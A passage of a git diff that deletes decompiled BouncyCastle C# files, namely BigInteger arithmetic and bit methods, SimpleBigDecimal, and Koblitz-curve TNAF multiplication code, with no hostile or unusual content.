0x1F; - if (num3 == 0) - { - Array.Copy(magnitude, 0, array, 0, array.Length); - } - else - { - int num4 = 32 - num3; - int num5 = magnitude.Length - 1 - num2; - for (int num6 = num - 1; num6 >= 0; num6--) - { - array[num6] = magnitude[num5--] >>> num3; - if (num5 >= 0) - { - int[] array3; - int[] array2 = (array3 = array); - int num7 = num6; - nint num8 = num7; - array2[num7] = array3[num8] | (magnitude[num5] << num4); - } - } - } - return new BigInteger(sign, array, checkMag: false); - } - - private static int[] Subtract(int xStart, int[] x, int yStart, int[] y) - { - int num = x.Length; - int num2 = y.Length; - int num3 = 0; - do - { - long num4 = (x[--num] & 0xFFFFFFFFu) - (y[--num2] & 0xFFFFFFFFu) + num3; - x[num] = (int)num4; - num3 = (int)(num4 >> 63); - } - while (num2 > yStart); - if (num3 != 0) - { - int[] array; - int[] array2; - int num5; - nint num6; - do - { - array = (array2 = x); - num5 = --num; - num6 = num5; - } - while ((array[num5] = array2[num6] - 1) == -1); - } - return x; - } - - public BigInteger Subtract(BigInteger n) - { - if (n.sign == 0) - { - return this; - } - if (sign == 0) - { - return n.Negate(); - } - if (sign != n.sign) - { - return Add(n.Negate()); - } - int num = CompareNoLeadingZeroes(0, magnitude, 0, n.magnitude); - if (num == 0) - { - return Zero; - } - BigInteger bigInteger; - BigInteger bigInteger2; - if (num < 0) - { - bigInteger = n; - bigInteger2 = this; - } - else - { - bigInteger = this; - bigInteger2 = n; - } - return new BigInteger(sign * num, doSubBigLil(bigInteger.magnitude, bigInteger2.magnitude), checkMag: true); - } - - private static int[] doSubBigLil(int[] bigMag, int[] lilMag) - { - int[] x = (int[])bigMag.Clone(); - return Subtract(0, x, 0, lilMag); - } - - public byte[] ToByteArray() - { - return ToByteArray(unsigned: false); - } - - public byte[] ToByteArrayUnsigned() - { - return ToByteArray(unsigned: true); - } - - private byte[] ToByteArray(bool unsigned) - { - if (sign == 0) - { - if (!unsigned) - { - return new byte[1]; - } - return ZeroEncoding; - } - int num = ((unsigned && sign > 0) ? BitLength : (BitLength + 1)); - int byteLength = GetByteLength(num); - byte[] array = new byte[byteLength]; - int num2 = magnitude.Length; - int num3 = array.Length; - if (sign > 0) - { - while (num2 > 1) - { - uint num4 = (uint)magnitude[--num2]; - array[--num3] = (byte)num4; - array[--num3] = (byte)(num4 >> 8); - array[--num3] = (byte)(num4 >> 16); - array[--num3] = (byte)(num4 >> 24); - } - uint num5; - for (num5 = (uint)magnitude[0]; num5 > 255; num5 >>= 8) - { - array[--num3] = (byte)num5; - } - array[--num3] = (byte)num5; - } - else - { - bool flag = true; - while (num2 > 1) - { - uint num6 = (uint)(~magnitude[--num2]); - if (flag) - { - flag = ++num6 == 0; - } - array[--num3] = (byte)num6; - array[--num3] = (byte)(num6 >> 8); - array[--num3] = (byte)(num6 >> 16); - array[--num3] = (byte)(num6 >> 24); - } - uint num7 = (uint)magnitude[0]; - if (flag) - { - num7--; - } - while (num7 > 255) - { - array[--num3] = (byte)(~num7); - num7 >>= 8; - } - array[--num3] = (byte)(~num7); - if (num3 > 0) - { - array[--num3] = byte.MaxValue; - } - } - return array; - } - - public override string ToString() - { - return ToString(10); - } - - public string ToString(int radix) - { - switch (radix) - { - default: - throw new FormatException("Only bases 2, 8, 10, 16 are allowed"); - case 2: - case 8: - case 10: - case 16: - { - if (magnitude == null) - { - return "null"; - } - if (sign == 0) - { - return "0"; - } - int i; - for (i = 0; i < magnitude.Length && magnitude[i] == 0; i++) - { - } - if (i == magnitude.Length) - { - return "0"; - } - StringBuilder stringBuilder = new StringBuilder(); - if (sign == -1) - { - stringBuilder.Append('-'); - } - switch (radix) - { - case 2: - { - int num5 = i; - stringBuilder.Append(Convert.ToString(magnitude[num5], 2)); - while (++num5 < magnitude.Length) - { - AppendZeroExtendedString(stringBuilder, Convert.ToString(magnitude[num5], 2), 32); - } - break; - } - case 8: - { - int num = 1073741823; - BigInteger bigInteger3 = Abs(); - int num2 = bigInteger3.BitLength; - IList list2 = Platform.CreateArrayList(); - while (num2 > 30) - { - list2.Add(Convert.ToString(bigInteger3.IntValue & num, 8)); - bigInteger3 = bigInteger3.ShiftRight(30); - num2 -= 30; - } - stringBuilder.Append(Convert.ToString(bigInteger3.IntValue, 8)); - for (int num3 = list2.Count - 1; num3 >= 0; num3--) - { - AppendZeroExtendedString(stringBuilder, (string)list2[num3], 10); - } - break; - } - case 16: - { - int num4 = i; - stringBuilder.Append(Convert.ToString(magnitude[num4], 16)); - while (++num4 < magnitude.Length) - { - AppendZeroExtendedString(stringBuilder, Convert.ToString(magnitude[num4], 16), 8); - } - break; - } - case 10: - { - BigInteger bigInteger = Abs(); - if (bigInteger.BitLength < 64) - { - stringBuilder.Append(Convert.ToString(bigInteger.LongValue, radix)); - break; - } - IList list = Platform.CreateArrayList(); - BigInteger bigInteger2 = ValueOf(radix); - while (bigInteger2.CompareTo(bigInteger) <= 0) - { - list.Add(bigInteger2); - bigInteger2 = bigInteger2.Square(); - } - int count = list.Count; - stringBuilder.EnsureCapacity(stringBuilder.Length + (1 << count)); - ToString(stringBuilder, radix, list, count, bigInteger); - break; - } - } - return stringBuilder.ToString(); - } - } - } - - private static void ToString(StringBuilder sb, int radix, IList moduli, int scale, BigInteger pos) - { - if (pos.BitLength < 64) - { - string text = Convert.ToString(pos.LongValue, radix); - if (sb.Length > 1 || (sb.Length == 1 && sb[0] != '-')) - { - AppendZeroExtendedString(sb, text, 1 << scale); - } - else if (pos.SignValue != 0) - { - sb.Append(text); - } - } - else - { - BigInteger[] array = pos.DivideAndRemainder((BigInteger)moduli[--scale]); - ToString(sb, radix, moduli, scale, array[0]); - ToString(sb, radix, moduli, scale, array[1]); - } - } - - private static void AppendZeroExtendedString(StringBuilder sb, string s, int minLength) - { - for (int i = s.Length; i < minLength; i++) - { - sb.Append('0'); - } - sb.Append(s); - } - - private static BigInteger CreateUValueOf(ulong value) - { - int num = (int)(value >> 32); - int num2 = (int)value; - if (num != 0) - { - return new BigInteger(1, new int[2] { num, num2 }, checkMag: false); - } - if (num2 != 0) - { - BigInteger bigInteger = new BigInteger(1, new int[1] { num2 }, checkMag: false); - if ((num2 & -num2) == num2) - { - bigInteger.nBits = 1; - } - return bigInteger; - } - return Zero; - } - - private static BigInteger CreateValueOf(long value) - { - if (value < 0) - { - if (value == long.MinValue) - { - return CreateValueOf(~value).Not(); - } - return CreateValueOf(-value).Negate(); - } - return CreateUValueOf((ulong)value); - } - - public static BigInteger ValueOf(long value) - { - if (value >= 0 && value < SMALL_CONSTANTS.Length) - { - return SMALL_CONSTANTS[value]; - } - return CreateValueOf(value); - } - - public int GetLowestSetBit() - { - if (sign == 0) - { - return -1; - } - return GetLowestSetBitMaskFirst(-1); - } - - private int GetLowestSetBitMaskFirst(int firstWordMask) - { - int num = magnitude.Length; - int num2 = 0; - uint num3 = (uint)(magnitude[--num] & firstWordMask); - while (num3 == 0) - { - num3 = (uint)magnitude[--num]; - num2 += 32; - } - while ((num3 & 0xFF) == 0) - { - num3 >>= 8; - num2 += 8; - } - while ((num3 & 1) == 0) - { - num3 >>= 1; - num2++; - } - return num2; - } - - public bool TestBit(int n) - { - if (n < 0) - { - throw new ArithmeticException("Bit position must not be negative"); - } - if (sign < 0) - { - return !Not().TestBit(n); - } - int num = n / 32; - if (num >= magnitude.Length) - { - return false; - } - int num2 = magnitude[magnitude.Length - 1 - num]; - return ((num2 >> n % 32) & 1) > 0; - } - - public BigInteger Or(BigInteger value) - { - if (sign == 0) - { - return value; - } - if (value.sign == 0) - { - return this; - } - int[] array = ((sign > 0) ? magnitude : Add(One).magnitude); - int[] array2 = ((value.sign > 0) ? value.magnitude : value.Add(One).magnitude); - bool flag = sign < 0 || value.sign < 0; - int num = System.Math.Max(array.Length, array2.Length); - int[] array3 = new int[num]; - int num2 = array3.Length - array.Length; - int num3 = array3.Length - array2.Length; - for (int i = 0; i < array3.Length; i++) - { - int num4 = ((i >= num2) ? array[i - num2] : 0); - int num5 = ((i >= num3) ? array2[i - num3] : 0); - if (sign < 0) - { - num4 = ~num4; - } - if (value.sign < 0) - { - num5 = ~num5; - } - array3[i] = num4 | num5; - if (flag) - { - array3[i] = ~array3[i]; - } - } - BigInteger bigInteger = new BigInteger(1, array3, checkMag: true); - if (flag) - { - bigInteger = bigInteger.Not(); - } - return bigInteger; - } - - public BigInteger Xor(BigInteger value) - { - if (sign == 0) - { - return value; - } - if (value.sign == 0) - { - return this; - } - int[] array = ((sign > 0) ? magnitude : Add(One).magnitude); - int[] array2 = ((value.sign > 0) ? value.magnitude : value.Add(One).magnitude); - bool flag = (sign < 0 && value.sign >= 0) || (sign >= 0 && value.sign < 0); - int num = System.Math.Max(array.Length, array2.Length); - int[] array3 = new int[num]; - int num2 = array3.Length - array.Length; - int num3 = array3.Length - array2.Length; - for (int i = 0; i < array3.Length; i++) - { - int num4 = ((i >= num2) ? array[i - num2] : 0); - int num5 = ((i >= num3) ? array2[i - num3] : 0); - if (sign < 0) - { - num4 = ~num4; - } - if (value.sign < 0) - { - num5 = ~num5; - } - array3[i] = num4 ^ num5; - if (flag) - { - array3[i] = ~array3[i]; - } - } - BigInteger bigInteger = new BigInteger(1, array3, checkMag: true); - if (flag) - { - bigInteger = bigInteger.Not(); - } - return bigInteger; - } - - public BigInteger SetBit(int n) - { - if (n < 0) - { - throw new ArithmeticException("Bit address less than zero"); - } - if (TestBit(n)) - { - return this; - } - if (sign > 0 && n < BitLength - 1) - { - return FlipExistingBit(n); - } - return Or(One.ShiftLeft(n)); - } - - public BigInteger ClearBit(int n) - { - if (n < 0) - { - throw new ArithmeticException("Bit address less than zero"); - } - if (!TestBit(n)) - { - return this; - } - if (sign > 0 && n < BitLength - 1) - { - return FlipExistingBit(n); - } - return AndNot(One.ShiftLeft(n)); - } - - public BigInteger FlipBit(int n) - { - if (n < 0) - { - throw new ArithmeticException("Bit address less than zero"); - } - if (sign > 0 && n < BitLength - 1) - { - return FlipExistingBit(n); - } - return Xor(One.ShiftLeft(n)); - } - - private BigInteger FlipExistingBit(int n) - { - int[] array = (int[])magnitude.Clone(); - int[] array3; - int[] array2 = (array3 = array); - int num = array.Length - 1 - (n >> 5); - nint num2 = num; - array2[num] = array3[num2] ^ (1 << (n & 0x1F)); - return new BigInteger(sign, array, checkMag: false); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Abc/SimpleBigDecimal.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Abc/SimpleBigDecimal.cs deleted file mode 100644 index 813224d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Abc/SimpleBigDecimal.cs +++ /dev/null @@ -1,193 +0,0 @@ -using System; -using System.Text; - -namespace Org.BouncyCastle.Math.EC.Abc; - -internal class SimpleBigDecimal -{ - private readonly BigInteger bigInt; - - private readonly int scale; - - public int IntValue => Floor().IntValue; - - public long LongValue => Floor().LongValue; - - public int Scale => scale; - - public static SimpleBigDecimal GetInstance(BigInteger val, int scale) - { - return new SimpleBigDecimal(val.ShiftLeft(scale), scale); - } - - public SimpleBigDecimal(BigInteger bigInt, int scale) - { - if (scale < 0) - { - throw new ArgumentException("scale may not be negative"); - } - this.bigInt = bigInt; - this.scale = scale; - } - - private SimpleBigDecimal(SimpleBigDecimal limBigDec) - { - bigInt = limBigDec.bigInt; - scale = limBigDec.scale; - } - - private void CheckScale(SimpleBigDecimal b) - { - if (scale != b.scale) - { - throw new ArgumentException("Only SimpleBigDecimal of same scale allowed in arithmetic operations"); - } - } - - public SimpleBigDecimal AdjustScale(int newScale) - { - if (newScale < 0) - { - throw new ArgumentException("scale may not be negative"); - } - if (newScale == scale) - { - return this; - } - return new SimpleBigDecimal(bigInt.ShiftLeft(newScale - scale), newScale); - } - - public SimpleBigDecimal Add(SimpleBigDecimal b) - { - CheckScale(b); - return new SimpleBigDecimal(bigInt.Add(b.bigInt), scale); - } - - public SimpleBigDecimal Add(BigInteger b) - { - return new SimpleBigDecimal(bigInt.Add(b.ShiftLeft(scale)), scale); - } - - public SimpleBigDecimal Negate() - { - return new SimpleBigDecimal(bigInt.Negate(), scale); - } - - public SimpleBigDecimal Subtract(SimpleBigDecimal b) - { - return Add(b.Negate()); - } - - public SimpleBigDecimal Subtract(BigInteger b) - { - return new SimpleBigDecimal(bigInt.Subtract(b.ShiftLeft(scale)), scale); - } - - public SimpleBigDecimal Multiply(SimpleBigDecimal b) - { - CheckScale(b); - return new SimpleBigDecimal(bigInt.Multiply(b.bigInt), scale + scale); - } - - public SimpleBigDecimal Multiply(BigInteger b) - { - return new SimpleBigDecimal(bigInt.Multiply(b), scale); - } - - public SimpleBigDecimal Divide(SimpleBigDecimal b) - { - CheckScale(b); - BigInteger bigInteger = bigInt.ShiftLeft(scale); - return new SimpleBigDecimal(bigInteger.Divide(b.bigInt), scale); - } - - public SimpleBigDecimal Divide(BigInteger b) - { - return new SimpleBigDecimal(bigInt.Divide(b), scale); - } - - public SimpleBigDecimal ShiftLeft(int n) - { - return new SimpleBigDecimal(bigInt.ShiftLeft(n), scale); - } - - public int CompareTo(SimpleBigDecimal val) - { - CheckScale(val); - return bigInt.CompareTo(val.bigInt); - } - - public int CompareTo(BigInteger val) - { - return bigInt.CompareTo(val.ShiftLeft(scale)); - } - - public BigInteger Floor() - { - return bigInt.ShiftRight(scale); - } - - public BigInteger Round() - { - SimpleBigDecimal simpleBigDecimal = new SimpleBigDecimal(BigInteger.One, 1); - return Add(simpleBigDecimal.AdjustScale(scale)).Floor(); - } - - public override string ToString() - { - if (scale == 0) - { - return bigInt.ToString(); - } - BigInteger bigInteger = Floor(); - BigInteger bigInteger2 = bigInt.Subtract(bigInteger.ShiftLeft(scale)); - if (bigInt.SignValue < 0) - { - bigInteger2 = BigInteger.One.ShiftLeft(scale).Subtract(bigInteger2); - } - if (bigInteger.SignValue == -1 && !bigInteger2.Equals(BigInteger.Zero)) - { - bigInteger = bigInteger.Add(BigInteger.One); - } - string value = bigInteger.ToString(); - char[] array = new char[scale]; - string text = bigInteger2.ToString(2); - int length = text.Length; - int num = scale - length; - for (int i = 0; i < num; i++) - { - array[i] = '0'; - } - for (int j = 0; j < length; j++) - { - array[num + j] = text[j]; - } - string value2 = new string(array); - StringBuilder stringBuilder = new StringBuilder(value); - stringBuilder.Append("."); - stringBuilder.Append(value2); - return stringBuilder.ToString(); - } - - public override bool Equals(object obj) - { - if (this == obj) - { - return true; - } - if (!(obj is SimpleBigDecimal simpleBigDecimal)) - { - return false; - } - if (bigInt.Equals(simpleBigDecimal.bigInt)) - { - return scale == simpleBigDecimal.scale; - } - return false; - } - - public override int GetHashCode() - { - return bigInt.GetHashCode() ^ scale; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Abc/Tnaf.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Abc/Tnaf.cs deleted file mode 100644 index 4d8fc6f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Abc/Tnaf.cs +++ /dev/null @@ -1,463 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Abc; - -internal class Tnaf -{ - public const sbyte Width = 4; - - public const sbyte Pow2Width = 16; - - private static readonly BigInteger MinusOne = BigInteger.One.Negate(); - - private static readonly BigInteger MinusTwo = BigInteger.Two.Negate(); - - private static readonly BigInteger MinusThree = BigInteger.Three.Negate(); - - private static readonly BigInteger Four = BigInteger.ValueOf(4L); - - public static readonly ZTauElement[] Alpha0 = new ZTauElement[9] - { - null, - new ZTauElement(BigInteger.One, BigInteger.Zero), - null, - new ZTauElement(MinusThree, MinusOne), - null, - new ZTauElement(MinusOne, MinusOne), - null, - new ZTauElement(BigInteger.One, MinusOne), - null - }; - - public static readonly sbyte[][] Alpha0Tnaf = new sbyte[8][] - { - null, - new sbyte[1] { 1 }, - null, - new sbyte[3] { -1, 0, 1 }, - null, - new sbyte[3] { 1, 0, 1 }, - null, - new sbyte[4] { -1, 0, 0, 1 } - }; - - public static readonly ZTauElement[] Alpha1 = new ZTauElement[9] - { - null, - new ZTauElement(BigInteger.One, BigInteger.Zero), - null, - new ZTauElement(MinusThree, BigInteger.One), - null, - new ZTauElement(MinusOne, BigInteger.One), - null, - new ZTauElement(BigInteger.One, BigInteger.One), - null - }; - - public static readonly sbyte[][] Alpha1Tnaf = new sbyte[8][] - { - null, - new sbyte[1] { 1 }, - null, - new sbyte[3] { -1, 0, 1 }, - null, - new sbyte[3] { 1, 0, 1 }, - null, - new sbyte[4] { -1, 0, 0, -1 } - }; - - public static BigInteger Norm(sbyte mu, ZTauElement lambda) - { - BigInteger bigInteger = lambda.u.Multiply(lambda.u); - BigInteger bigInteger2 = lambda.u.Multiply(lambda.v); - BigInteger value = lambda.v.Multiply(lambda.v).ShiftLeft(1); - return mu switch - { - 1 => bigInteger.Add(bigInteger2).Add(value), - -1 => bigInteger.Subtract(bigInteger2).Add(value), - _ => throw new ArgumentException("mu must be 1 or -1"), - }; - } - - public static SimpleBigDecimal Norm(sbyte mu, SimpleBigDecimal u, SimpleBigDecimal v) - { - SimpleBigDecimal simpleBigDecimal = u.Multiply(u); - SimpleBigDecimal b = u.Multiply(v); - SimpleBigDecimal b2 = v.Multiply(v).ShiftLeft(1); - return mu switch - { - 1 => simpleBigDecimal.Add(b).Add(b2), - -1 => simpleBigDecimal.Subtract(b).Add(b2), - _ => throw new ArgumentException("mu must be 1 or -1"), - }; - } - - public static ZTauElement Round(SimpleBigDecimal lambda0, SimpleBigDecimal lambda1, sbyte mu) - { - int scale = lambda0.Scale; - if (lambda1.Scale != scale) - { - throw new ArgumentException("lambda0 and lambda1 do not have same scale"); - } - if (mu != 1 && mu != -1) - { - throw new ArgumentException("mu must be 1 or -1"); - } - BigInteger bigInteger = lambda0.Round(); - BigInteger bigInteger2 = lambda1.Round(); - SimpleBigDecimal simpleBigDecimal = lambda0.Subtract(bigInteger); - SimpleBigDecimal simpleBigDecimal2 = lambda1.Subtract(bigInteger2); - SimpleBigDecimal simpleBigDecimal3 = simpleBigDecimal.Add(simpleBigDecimal); - simpleBigDecimal3 = ((mu != 1) ? simpleBigDecimal3.Subtract(simpleBigDecimal2) : simpleBigDecimal3.Add(simpleBigDecimal2)); - SimpleBigDecimal simpleBigDecimal4 = simpleBigDecimal2.Add(simpleBigDecimal2).Add(simpleBigDecimal2); - SimpleBigDecimal b = simpleBigDecimal4.Add(simpleBigDecimal2); - SimpleBigDecimal simpleBigDecimal5; - SimpleBigDecimal simpleBigDecimal6; - if (mu == 1) - { - simpleBigDecimal5 = simpleBigDecimal.Subtract(simpleBigDecimal4); - simpleBigDecimal6 = simpleBigDecimal.Add(b); - } - else - { - simpleBigDecimal5 = simpleBigDecimal.Add(simpleBigDecimal4); - simpleBigDecimal6 = simpleBigDecimal.Subtract(b); - } - sbyte b2 = 0; - sbyte b3 = 0; - if (simpleBigDecimal3.CompareTo(BigInteger.One) >= 0) - { - if (simpleBigDecimal5.CompareTo(MinusOne) < 0) - { - b3 = mu; - } - else - { - b2 = 1; - } - } - else if (simpleBigDecimal6.CompareTo(BigInteger.Two) >= 0) - { - b3 = mu; - } - if (simpleBigDecimal3.CompareTo(MinusOne) < 0) - { - if (simpleBigDecimal5.CompareTo(BigInteger.One) >= 0) - { - b3 = (sbyte)(-mu); - } - else - { - b2 = -1; - } - } - else if (simpleBigDecimal6.CompareTo(MinusTwo) < 0) - { - b3 = (sbyte)(-mu); - } - BigInteger u = bigInteger.Add(BigInteger.ValueOf(b2)); - BigInteger v = bigInteger2.Add(BigInteger.ValueOf(b3)); - return new ZTauElement(u, v); - } - - public static SimpleBigDecimal ApproximateDivisionByN(BigInteger k, BigInteger s, BigInteger vm, sbyte a, int m, int c) - { - int num = (m + 5) / 2 + c; - BigInteger val = k.ShiftRight(m - num - 2 + a); - BigInteger bigInteger = s.Multiply(val); - BigInteger val2 = bigInteger.ShiftRight(m); - BigInteger value = vm.Multiply(val2); - BigInteger bigInteger2 = bigInteger.Add(value); - BigInteger bigInteger3 = bigInteger2.ShiftRight(num - c); - if (bigInteger2.TestBit(num - c - 1)) - { - bigInteger3 = bigInteger3.Add(BigInteger.One); - } - return new SimpleBigDecimal(bigInteger3, c); - } - - public static sbyte[] TauAdicNaf(sbyte mu, ZTauElement lambda) - { - if (mu != 1 && mu != -1) - { - throw new ArgumentException("mu must be 1 or -1"); - } - BigInteger bigInteger = Norm(mu, lambda); - int bitLength = bigInteger.BitLength; - int num = ((bitLength > 30) ? (bitLength + 4) : 34); - sbyte[] array = new sbyte[num]; - int num2 = 0; - int num3 = 0; - BigInteger bigInteger2 = lambda.u; - BigInteger bigInteger3 = lambda.v; - while (!bigInteger2.Equals(BigInteger.Zero) || !bigInteger3.Equals(BigInteger.Zero)) - { - if (bigInteger2.TestBit(0)) - { - array[num2] = (sbyte)BigInteger.Two.Subtract(bigInteger2.Subtract(bigInteger3.ShiftLeft(1)).Mod(Four)).IntValue; - bigInteger2 = ((array[num2] != 1) ? bigInteger2.Add(BigInteger.One) : bigInteger2.ClearBit(0)); - num3 = num2; - } - else - { - array[num2] = 0; - } - BigInteger bigInteger4 = bigInteger2; - BigInteger bigInteger5 = bigInteger2.ShiftRight(1); - bigInteger2 = ((mu != 1) ? bigInteger3.Subtract(bigInteger5) : bigInteger3.Add(bigInteger5)); - bigInteger3 = bigInteger4.ShiftRight(1).Negate(); - num2++; - } - num3++; - sbyte[] array2 = new sbyte[num3]; - Array.Copy(array, 0, array2, 0, num3); - return array2; - } - - public static AbstractF2mPoint Tau(AbstractF2mPoint p) - { - return p.Tau(); - } - - public static sbyte GetMu(AbstractF2mCurve curve) - { - BigInteger bigInteger = curve.A.ToBigInteger(); - if (bigInteger.SignValue == 0) - { - return -1; - } - if (bigInteger.Equals(BigInteger.One)) - { - return 1; - } - throw new ArgumentException("No Koblitz curve (ABC), TNAF multiplication not possible"); - } - - public static sbyte GetMu(ECFieldElement curveA) - { - return (sbyte)((!curveA.IsZero) ? 1 : (-1)); - } - - public static sbyte GetMu(int curveA) - { - return (sbyte)((curveA != 0) ? 1 : (-1)); - } - - public static BigInteger[] GetLucas(sbyte mu, int k, bool doV) - { - if (mu != 1 && mu != -1) - { - throw new ArgumentException("mu must be 1 or -1"); - } - BigInteger bigInteger; - BigInteger bigInteger2; - if (doV) - { - bigInteger = BigInteger.Two; - bigInteger2 = BigInteger.ValueOf(mu); - } - else - { - bigInteger = BigInteger.Zero; - bigInteger2 = BigInteger.One; - } - for (int i = 1; i < k; i++) - { - BigInteger bigInteger3 = null; - bigInteger3 = ((mu != 1) ? bigInteger2.Negate() : bigInteger2); - BigInteger bigInteger4 = bigInteger3.Subtract(bigInteger.ShiftLeft(1)); - bigInteger = bigInteger2; - bigInteger2 = bigInteger4; - } - return new BigInteger[2] { bigInteger, bigInteger2 }; - } - - public static BigInteger GetTw(sbyte mu, int w) - { - if (w == 4) - { - if (mu == 1) - { - return BigInteger.ValueOf(6L); - } - return BigInteger.ValueOf(10L); - } - BigInteger[] lucas = GetLucas(mu, w, doV: false); - BigInteger m = BigInteger.Zero.SetBit(w); - BigInteger val = lucas[1].ModInverse(m); - return BigInteger.Two.Multiply(lucas[0]).Multiply(val).Mod(m); - } - - public static BigInteger[] GetSi(AbstractF2mCurve curve) - { - if (!curve.IsKoblitz) - { - throw new ArgumentException("si is defined for Koblitz curves only"); - } - int fieldSize = curve.FieldSize; - int intValue = curve.A.ToBigInteger().IntValue; - sbyte mu = GetMu(intValue); - int shiftsForCofactor = GetShiftsForCofactor(curve.Cofactor); - int k = fieldSize + 3 - intValue; - BigInteger[] lucas = GetLucas(mu, k, doV: false); - if (mu == 1) - { - lucas[0] = lucas[0].Negate(); - lucas[1] = lucas[1].Negate(); - } - BigInteger bigInteger = BigInteger.One.Add(lucas[1]).ShiftRight(shiftsForCofactor); - BigInteger bigInteger2 = BigInteger.One.Add(lucas[0]).ShiftRight(shiftsForCofactor).Negate(); - return new BigInteger[2] { bigInteger, bigInteger2 }; - } - - public static BigInteger[] GetSi(int fieldSize, int curveA, BigInteger cofactor) - { - sbyte mu = GetMu(curveA); - int shiftsForCofactor = GetShiftsForCofactor(cofactor); - int k = fieldSize + 3 - curveA; - BigInteger[] lucas = GetLucas(mu, k, doV: false); - if (mu == 1) - { - lucas[0] = lucas[0].Negate(); - lucas[1] = lucas[1].Negate(); - } - BigInteger bigInteger = BigInteger.One.Add(lucas[1]).ShiftRight(shiftsForCofactor); - BigInteger bigInteger2 = BigInteger.One.Add(lucas[0]).ShiftRight(shiftsForCofactor).Negate(); - return new BigInteger[2] { bigInteger, bigInteger2 }; - } - - protected static int GetShiftsForCofactor(BigInteger h) - { - if (h != null && h.BitLength < 4) - { - switch (h.IntValue) - { - case 2: - return 1; - case 4: - return 2; - } - } - throw new ArgumentException("h (Cofactor) must be 2 or 4"); - } - - public static ZTauElement PartModReduction(BigInteger k, int m, sbyte a, BigInteger[] s, sbyte mu, sbyte c) - { - BigInteger bigInteger = ((mu != 1) ? s[0].Subtract(s[1]) : s[0].Add(s[1])); - BigInteger[] lucas = GetLucas(mu, m, doV: true); - BigInteger vm = lucas[1]; - SimpleBigDecimal lambda = ApproximateDivisionByN(k, s[0], vm, a, m, c); - SimpleBigDecimal lambda2 = ApproximateDivisionByN(k, s[1], vm, a, m, c); - ZTauElement zTauElement = Round(lambda, lambda2, mu); - BigInteger u = k.Subtract(bigInteger.Multiply(zTauElement.u)).Subtract(BigInteger.ValueOf(2L).Multiply(s[1]).Multiply(zTauElement.v)); - BigInteger v = s[1].Multiply(zTauElement.u).Subtract(s[0].Multiply(zTauElement.v)); - return new ZTauElement(u, v); - } - - public static AbstractF2mPoint MultiplyRTnaf(AbstractF2mPoint p, BigInteger k) - { - AbstractF2mCurve abstractF2mCurve = (AbstractF2mCurve)p.Curve; - int fieldSize = abstractF2mCurve.FieldSize; - int intValue = abstractF2mCurve.A.ToBigInteger().IntValue; - sbyte mu = GetMu(intValue); - BigInteger[] si = abstractF2mCurve.GetSi(); - ZTauElement lambda = PartModReduction(k, fieldSize, (sbyte)intValue, si, mu, 10); - return MultiplyTnaf(p, lambda); - } - - public static AbstractF2mPoint MultiplyTnaf(AbstractF2mPoint p, ZTauElement lambda) - { - AbstractF2mCurve abstractF2mCurve = (AbstractF2mCurve)p.Curve; - sbyte mu = GetMu(abstractF2mCurve.A); - sbyte[] u = TauAdicNaf(mu, lambda); - return MultiplyFromTnaf(p, u); - } - - public static AbstractF2mPoint MultiplyFromTnaf(AbstractF2mPoint p, sbyte[] u) - { - ECCurve curve = p.Curve; - AbstractF2mPoint abstractF2mPoint = (AbstractF2mPoint)curve.Infinity; - AbstractF2mPoint abstractF2mPoint2 = (AbstractF2mPoint)p.Negate(); - int num = 0; - for (int num2 = u.Length - 1; num2 >= 0; num2--) - { - num++; - sbyte b = u[num2]; - if (b != 0) - { - abstractF2mPoint = abstractF2mPoint.TauPow(num); - num = 0; - ECPoint b2 = ((b > 0) ? p : abstractF2mPoint2); - abstractF2mPoint = (AbstractF2mPoint)abstractF2mPoint.Add(b2); - } - } - if (num > 0) - { - abstractF2mPoint = abstractF2mPoint.TauPow(num); - } - return abstractF2mPoint; - } - - public static sbyte[] TauAdicWNaf(sbyte mu, ZTauElement lambda, sbyte width, BigInteger pow2w, BigInteger tw, ZTauElement[] alpha) - { - if (mu != 1 && mu != -1) - { - throw new ArgumentException("mu must be 1 or -1"); - } - BigInteger bigInteger = Norm(mu, lambda); - int bitLength = bigInteger.BitLength; - int num = ((bitLength > 30) ? (bitLength + 4 + width) : (34 + width)); - sbyte[] array = new sbyte[num]; - BigInteger value = pow2w.ShiftRight(1); - BigInteger bigInteger2 = lambda.u; - BigInteger bigInteger3 = lambda.v; - int num2 = 0; - while (!bigInteger2.Equals(BigInteger.Zero) || !bigInteger3.Equals(BigInteger.Zero)) - { - if (bigInteger2.TestBit(0)) - { - BigInteger bigInteger4 = bigInteger2.Add(bigInteger3.Multiply(tw)).Mod(pow2w); - sbyte b = (array[num2] = ((bigInteger4.CompareTo(value) < 0) ? ((sbyte)bigInteger4.IntValue) : ((sbyte)bigInteger4.Subtract(pow2w).IntValue))); - bool flag = true; - if (b < 0) - { - flag = false; - b = (sbyte)(-b); - } - if (flag) - { - bigInteger2 = bigInteger2.Subtract(alpha[b].u); - bigInteger3 = bigInteger3.Subtract(alpha[b].v); - } - else - { - bigInteger2 = bigInteger2.Add(alpha[b].u); - bigInteger3 = bigInteger3.Add(alpha[b].v); - } - } - else - { - array[num2] = 0; - } - BigInteger bigInteger5 = bigInteger2; - bigInteger2 = ((mu != 1) ? bigInteger3.Subtract(bigInteger2.ShiftRight(1)) : bigInteger3.Add(bigInteger2.ShiftRight(1))); - bigInteger3 = bigInteger5.ShiftRight(1).Negate(); - num2++; - } - return array; - } - - public static AbstractF2mPoint[] GetPreComp(AbstractF2mPoint p, sbyte a) - { - sbyte[][] array = ((a == 0) ? Alpha0Tnaf : Alpha1Tnaf); - AbstractF2mPoint[] array2 = new AbstractF2mPoint[array.Length + 1 >>> 1]; - array2[0] = p; - uint num = (uint)array.Length; - for (uint num2 = 3u; num2 < num; num2 += 2) - { - array2[num2 >> 1] = MultiplyFromTnaf(p, array[num2]); - } - p.Curve.NormalizeAll(array2); - return array2; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Abc/ZTauElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Abc/ZTauElement.cs deleted file mode 100644 index c7d4af4..0000000 --- 